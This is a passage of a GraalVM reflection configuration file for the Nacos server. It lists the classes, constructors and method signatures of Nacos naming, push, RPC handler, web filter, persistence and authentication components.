\"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.pojo.ServiceNameView\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.pojo.ServiceView\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.pojo.Subscriber\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.pojo.instance.BeatInfoInstanceBuilder\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.push.NamingSubscriberService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.push.NamingSubscriberServiceAggregationImpl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.push.NamingSubscriberServiceLocalImpl\",\"com.alibaba.nacos.core.cluster.ServerMemberManager\"] }, {\"name\":\"getFuzzySubscribers\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.pojo.Service\"] }, {\"name\":\"getFuzzySubscribers\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"getSubscribers\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.pojo.Service\"] }, {\"name\":\"getSubscribers\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.push.NamingSubscriberServiceLocalImpl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.push.v2.NamingSubscriberServiceV2Impl\"] }, {\"name\":\"getFuzzySubscribers\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.pojo.Service\"] }, {\"name\":\"getFuzzySubscribers\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"getSubscribers\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.pojo.Service\"] }, {\"name\":\"getSubscribers\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.push.UdpPushService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.remote.udp.UdpConnector\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.push.v2.NamingSubscriberServiceV2Impl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.client.manager.ClientManagerDelegate\",\"com.alibaba.nacos.naming.core.v2.index.ClientServiceIndexesManager\",\"com.alibaba.nacos.naming.core.v2.index.ServiceStorage\",\"com.alibaba.nacos.naming.core.v2.metadata.NamingMetadataManager\",\"com.alibaba.nacos.naming.push.v2.executor.PushExecutorDelegate\",\"com.alibaba.nacos.naming.misc.SwitchDomain\"] }, {\"name\":\"getFuzzySubscribers\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.pojo.Service\"] }, {\"name\":\"getFuzzySubscribers\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"getSubscribers\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.pojo.Service\"] }, {\"name\":\"getSubscribers\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"onEvent\",\"parameterTypes\":[\"com.alibaba.nacos.common.notify.Event\"] }, {\"name\":\"subscribeTypes\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.push.v2.PushDataWrapper\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.push.v2.executor.PushExecutor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.push.v2.executor.PushExecutorDelegate\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.push.v2.executor.PushExecutorRpcImpl\",\"com.alibaba.nacos.naming.push.v2.executor.PushExecutorUdpImpl\"] }, {\"name\":\"doPush\",\"parameterTypes\":[\"java.lang.String\",\"com.alibaba.nacos.naming.pojo.Subscriber\",\"com.alibaba.nacos.naming.push.v2.PushDataWrapper\"] }, {\"name\":\"doPushWithCallback\",\"parameterTypes\":[\"java.lang.String\",\"com.alibaba.nacos.naming.pojo.Subscriber\",\"com.alibaba.nacos.naming.push.v2.PushDataWrapper\",\"com.alibaba.nacos.naming.push.v2.task.NamingPushCallback\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.push.v2.executor.PushExecutorRpcImpl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.core.remote.RpcPushService\"] }, {\"name\":\"doPush\",\"parameterTypes\":[\"java.lang.String\",\"com.alibaba.nacos.naming.pojo.Subscriber\",\"com.alibaba.nacos.naming.push.v2.PushDataWrapper\"] }, {\"name\":\"doPushWithCallback\",\"parameterTypes\":[\"java.lang.String\",\"com.alibaba.nacos.naming.pojo.Subscriber\",\"com.alibaba.nacos.naming.push.v2.PushDataWrapper\",\"com.alibaba.nacos.naming.push.v2.task.NamingPushCallback\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.push.v2.executor.PushExecutorUdpImpl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.push.UdpPushService\"] }, {\"name\":\"doPush\",\"parameterTypes\":[\"java.lang.String\",\"com.alibaba.nacos.naming.pojo.Subscriber\",\"com.alibaba.nacos.naming.push.v2.PushDataWrapper\"] }, {\"name\":\"doPushWithCallback\",\"parameterTypes\":[\"java.lang.String\",\"com.alibaba.nacos.naming.pojo.Subscriber\",\"com.alibaba.nacos.naming.push.v2.PushDataWrapper\",\"com.alibaba.nacos.naming.push.v2.task.NamingPushCallback\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.push.v2.task.NamingPushCallback\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.remote.rpc.handler.BatchInstanceRequestHandler\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.service.impl.EphemeralClientOperationServiceImpl\"] }, {\"name\":\"handle\",\"parameterTypes\":[\"com.alibaba.nacos.api.remote.request.Request\",\"com.alibaba.nacos.api.remote.request.RequestMeta\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.remote.rpc.handler.DistroDataRequestHandler\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.core.distributed.distro.DistroProtocol\"] }, {\"name\":\"handle\",\"parameterTypes\":[\"com.alibaba.nacos.api.remote.request.Request\",\"com.alibaba.nacos.api.remote.request.RequestMeta\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.remote.rpc.handler.InstanceRequestHandler\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.service.impl.EphemeralClientOperationServiceImpl\"] }, {\"name\":\"handle\",\"parameterTypes\":[\"com.alibaba.nacos.api.remote.request.Request\",\"com.alibaba.nacos.api.remote.request.RequestMeta\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.remote.rpc.handler.PersistentInstanceRequestHandler\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl\"] }, {\"name\":\"handle\",\"parameterTypes\":[\"com.alibaba.nacos.api.remote.request.Request\",\"com.alibaba.nacos.api.remote.request.RequestMeta\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.remote.rpc.handler.ServiceListRequestHandler\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"handle\",\"parameterTypes\":[\"com.alibaba.nacos.api.remote.request.Request\",\"com.alibaba.nacos.api.remote.request.RequestMeta\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.remote.rpc.handler.ServiceQueryRequestHandler\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.index.ServiceStorage\",\"com.alibaba.nacos.naming.core.v2.metadata.NamingMetadataManager\"] }, {\"name\":\"handle\",\"parameterTypes\":[\"com.alibaba.nacos.api.remote.request.Request\",\"com.alibaba.nacos.api.remote.request.RequestMeta\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.remote.rpc.handler.SubscribeServiceRequestHandler\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.index.ServiceStorage\",\"com.alibaba.nacos.naming.core.v2.metadata.NamingMetadataManager\",\"com.alibaba.nacos.naming.core.v2.service.impl.EphemeralClientOperationServiceImpl\"] }, {\"name\":\"handle\",\"parameterTypes\":[\"com.alibaba.nacos.api.remote.request.Request\",\"com.alibaba.nacos.api.remote.request.RequestMeta\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.remote.udp.AckEntry\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.remote.udp.UdpConnector\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.selector.LabelSelector\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.selector.NoneSelector\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.selector.SelectorManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"init\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.web.CanDistro\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.web.ClientAttributesFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"doFilter\",\"parameterTypes\":[\"jakarta.servlet.ServletRequest\",\"jakarta.servlet.ServletResponse\",\"jakarta.servlet.FilterChain\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.web.DistroFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"destroy\",\"parameterTypes\":[] }, {\"name\":\"doFilter\",\"parameterTypes\":[\"jakarta.servlet.ServletRequest\",\"jakarta.servlet.ServletResponse\",\"jakarta.servlet.FilterChain\"] }, {\"name\":\"init\",\"parameterTypes\":[\"jakarta.servlet.FilterConfig\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.web.DistroTagGenerator\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.web.DistroTagGeneratorImpl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getResponsibleTag\",\"parameterTypes\":[\"com.alibaba.nacos.core.utils.ReuseHttpServletRequest\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.web.NamingConfig\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"clientAttributesFilter\",\"parameterTypes\":[] }, {\"name\":\"clientAttributesFilterRegistration\",\"parameterTypes\":[] }, {\"name\":\"distroFilter\",\"parameterTypes\":[] }, {\"name\":\"distroFilterRegistration\",\"parameterTypes\":[] }, {\"name\":\"serviceNameFilter\",\"parameterTypes\":[] }, {\"name\":\"serviceNameFilterRegistration\",\"parameterTypes\":[] }, {\"name\":\"setBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }, {\"name\":\"trafficReviseFilter\",\"parameterTypes\":[] }, {\"name\":\"trafficReviseFilterRegistration\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.web.NamingConfig$$SpringCGLIB$$0\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"fields\":[{\"name\":\"CGLIB$FACTORY_DATA\"}],\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"CGLIB$SET_STATIC_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }, {\"name\":\"CGLIB$SET_THREAD_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.web.NamingConfig$$SpringCGLIB$$FastClass$$0\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Class\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.web.NamingConfig$$SpringCGLIB$$FastClass$$1\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Class\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.web.ServiceNameFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"doFilter\",\"parameterTypes\":[\"jakarta.servlet.ServletRequest\",\"jakarta.servlet.ServletResponse\",\"jakarta.servlet.FilterChain\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.web.TrafficReviseFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"doFilter\",\"parameterTypes\":[\"jakarta.servlet.ServletRequest\",\"jakarta.servlet.ServletResponse\",\"jakarta.servlet.FilterChain\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.persistence.configuration.DatasourceConfiguration\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.persistence.configuration.condition.ConditionDistributedEmbedStorage\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.persistence.configuration.condition.ConditionOnEmbeddedStorage\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.persistence.configuration.condition.ConditionOnExternalStorage\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.persistence.configuration.condition.ConditionStandaloneEmbedStorage\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.persistence.datasource.ExternalDataSourceProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"setNum\",\"parameterTypes\":[\"java.lang.Integer\"] }, {\"name\":\"setPassword\",\"parameterTypes\":[\"java.util.List\"] }, {\"name\":\"setUrl\",\"parameterTypes\":[\"java.util.List\"] }, {\"name\":\"setUser\",\"parameterTypes\":[\"java.util.List\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.persistence.model.Page\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getPageItems\",\"parameterTypes\":[] }, {\"name\":\"getPageNumber\",\"parameterTypes\":[] }, {\"name\":\"getPagesAvailable\",\"parameterTypes\":[] }, {\"name\":\"getTotalCount\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.persistence.repository.PaginationHelper\"\n},\n{\n  \"name\":\"com.alibaba.nacos.persistence.repository.embedded.hook.EmbeddedApplyHook\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.persistence.repository.embedded.operate.BaseDatabaseOperate\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"doDataImport\",\"parameterTypes\":[\"org.springframework.jdbc.core.JdbcTemplate\",\"java.util.List\"] }, {\"name\":\"queryMany\",\"parameterTypes\":[\"org.springframework.jdbc.core.JdbcTemplate\",\"java.lang.String\",\"java.lang.Object[]\"] }, {\"name\":\"queryMany\",\"parameterTypes\":[\"org.springframework.jdbc.core.JdbcTemplate\",\"java.lang.String\",\"java.lang.Object[]\",\"java.lang.Class\"] }, {\"name\":\"queryMany\",\"parameterTypes\":[\"org.springframework.jdbc.core.JdbcTemplate\",\"java.lang.String\",\"java.lang.Object[]\",\"org.springframework.jdbc.core.RowMapper\"] }, {\"name\":\"queryOne\",\"parameterTypes\":[\"org.springframework.jdbc.core.JdbcTemplate\",\"java.lang.String\",\"java.lang.Class\"] }, {\"name\":\"queryOne\",\"parameterTypes\":[\"org.springframework.jdbc.core.JdbcTemplate\",\"java.lang.String\",\"java.lang.Object[]\",\"java.lang.Class\"] }, {\"name\":\"queryOne\",\"parameterTypes\":[\"org.springframework.jdbc.core.JdbcTemplate\",\"java.lang.String\",\"java.lang.Object[]\",\"org.springframework.jdbc.core.RowMapper\"] }, {\"name\":\"update\",\"parameterTypes\":[\"org.springframework.transaction.support.TransactionTemplate\",\"org.springframework.jdbc.core.JdbcTemplate\",\"java.util.List\"] }, {\"name\":\"update\",\"parameterTypes\":[\"org.springframework.transaction.support.TransactionTemplate\",\"org.springframework.jdbc.core.JdbcTemplate\",\"java.util.List\",\"java.util.function.BiConsumer\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.persistence.repository.embedded.operate.DatabaseOperate\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"blockUpdate\",\"parameterTypes\":[] }, {\"name\":\"blockUpdate\",\"parameterTypes\":[\"java.util.function.BiConsumer\"] }, {\"name\":\"futureUpdate\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.persistence.repository.embedded.operate.StandaloneDatabaseOperateImpl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"dataImport\",\"parameterTypes\":[\"java.io.File\"] }, {\"name\":\"init\",\"parameterTypes\":[] }, {\"name\":\"queryMany\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object[]\"] }, {\"name\":\"queryMany\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object[]\",\"java.lang.Class\"] }, {\"name\":\"queryMany\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object[]\",\"org.springframework.jdbc.core.RowMapper\"] }, {\"name\":\"queryOne\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Class\"] }, {\"name\":\"queryOne\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object[]\",\"java.lang.Class\"] }, {\"name\":\"queryOne\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object[]\",\"org.springframework.jdbc.core.RowMapper\"] }, {\"name\":\"update\",\"parameterTypes\":[\"java.util.List\"] }, {\"name\":\"update\",\"parameterTypes\":[\"java.util.List\",\"java.util.function.BiConsumer\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.persistence.repository.embedded.sql.ModifyRequest\"\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.api.IdentityContext\"\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.api.Permission\"\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.api.Resource\"\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.constant.ActionTypes\"\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.exception.AccessException\"\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.CustomAuthenticationProvider\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"authenticate\",\"parameterTypes\":[\"org.springframework.security.core.Authentication\"] }, {\"name\":\"supports\",\"parameterTypes\":[\"java.lang.Class\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.JwtAuthenticationEntryPoint\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"commence\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\",\"jakarta.servlet.http.HttpServletResponse\",\"org.springframework.security.core.AuthenticationException\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.LdapAuthConfig\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"ldapContextSource\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.LdapAuthPluginService\"\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.LdapAuthenticationProvider\"\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.NacosAuthConfig\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.core.env.Environment\",\"com.alibaba.nacos.plugin.auth.impl.token.TokenManagerDelegate\",\"com.alibaba.nacos.auth.config.AuthConfigs\",\"com.alibaba.nacos.plugin.auth.impl.users.NacosUserDetailsServiceImpl\",\"org.springframework.beans.factory.ObjectProvider\",\"com.alibaba.nacos.core.code.ControllerMethodsCache\"] }, {\"name\":\"authenticationConfigurer\",\"parameterTypes\":[] }, {\"name\":\"authenticationManager\",\"parameterTypes\":[\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"com.alibaba.nacos.auth.config.AuthConfigs\"] }, {\"name\":\"authenticationManagerBean\",\"parameterTypes\":[] }, {\"name\":\"defaultAuthenticationManager\",\"parameterTypes\":[\"com.alibaba.nacos.plugin.auth.impl.users.NacosUserDetailsServiceImpl\",\"com.alibaba.nacos.plugin.auth.impl.token.TokenManagerDelegate\",\"com.alibaba.nacos.plugin.auth.impl.roles.NacosRoleServiceImpl\"] }, {\"name\":\"init\",\"parameterTypes\":[] }, {\"name\":\"passwordEncoder\",\"parameterTypes\":[] }, {\"name\":\"securityFilterChain\",\"parameterTypes\":[\"org.springframework.security.config.annotation.web.builders.HttpSecurity\"] }, {\"name\":\"setBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }, {\"name\":\"webSecurityCustomizer\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.NacosAuthConfig$$SpringCGLIB$$0\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"fields\":[{\"name\":\"CGLIB$FACTORY_DATA\"}],\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.core.env.Environment\",\"com.alibaba.nacos.plugin.auth.impl.token.TokenManagerDelegate\",\"com.alibaba.nacos.auth.config.AuthConfigs\",\"com.alibaba.nacos.plugin.auth.impl.users.NacosUserDetailsServiceImpl\",\"org.springframework.beans.factory.ObjectProvider\",\"com.alibaba.nacos.core.code.ControllerMethodsCache\"] }, {\"name\":\"CGLIB$SET_STATIC_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }, {\"name\":\"CGLIB$SET_THREAD_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.NacosAuthConfig$$SpringCGLIB$$FastClass$$0\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Class\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.NacosAuthConfig$$SpringCGLIB$$FastClass$$1\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Class\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.NacosAuthConfig$1\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"init\",\"parameterTypes\":[\"org.springframework.security.config.annotation.SecurityBuilder\"] }, {\"name\":\"init\",\"parameterTypes\":[\"org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.NacosAuthManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.NacosAuthPluginService\"\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.NacosLdapContextSource\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.plugin.auth.impl.authenticate.AbstractAuthenticationManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"authenticate\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\"] }, {\"name\":\"authenticate\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"authenticate\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"authorize\",\"parameterTypes\":[\"com.alibaba.nacos.plugin.auth.api.Permission\",\"com.alibaba.nacos.plugin.auth.impl.users.NacosUser\"] }, {\"name\":\"hasGlobalAdminRole\",\"parameterTypes\":[] }, 